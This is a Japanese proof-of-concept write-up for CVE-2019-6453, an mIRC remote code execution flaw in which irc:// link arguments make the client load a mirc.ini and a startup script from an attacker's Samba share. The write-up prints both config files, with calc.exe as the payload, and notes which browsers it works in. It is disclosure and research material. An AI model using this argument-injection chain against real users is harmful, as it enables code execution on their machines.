
CVE-2019-6453 の計算実証
私たちは、irc:// URIプロトコルハンドラを通じて mIRC にリモートコード実行の脆弱性を発見しました。mIRC は引数リストの終わりを示す -- のようなシジル(区切り記号)を使用していないため、攻撃者は irc:// リンクを介して mIRC に引数を渡し、攻撃者が制御する Samba ファイルサーバーからカスタムの mirc.ini を読み込むことで任意のコードを実行できます。ircs:// も同様に動作することに注意してください。
この実証コード(PoC)には、mirc.ini、calc.ini、poc.html の3つのファイルが必要です。攻撃者側で Samba ファイルサーバーが動作していることを前提とします。この例では、以下のコードはホスト 127.0.0.1 で動作していることを前提としています(つまり、実際に試す場合は、以下のファイル内の 127.0.0.1 をご自身のサーバーのアドレスに置き換えてください)。
mirc.ini はカスタム構成ファイルで、ファイルサーバー上の C:\mirc-poc\mirc.ini に配置する必要があります。
[rfiles]
n2=\\127.0.0.1\C$\mirc-poc\calc.ini
calc.ini はリモートスクリプトファイルで、ファイルサーバー上の C:\mirc-poc\calc.ini に配置する必要があります。
[script]
n0=on *:START: {
n1= /run calc.exe
n2=}
mIRC が irc:// URI スキームの既定のハンドラとして設定されており、ブラウザがペイロードをエンコードしない場合、poc.html にアクセスするだけで動作するはずです。ブラウザや設定によっては、プロンプトが表示される可能性があります(Firefox では表示されません)。

このPoCは mIRC <7.55 で動作します。
Edge 42.17134(最終プレビュー版)および Firefox 64.0.2(最終リリース版)でPoCを実行できます。 Chrome では動作しません。Chrome が URI プロトコルを処理する方法(URI がアプリケーションに渡される前にエンコードされる)によるものです。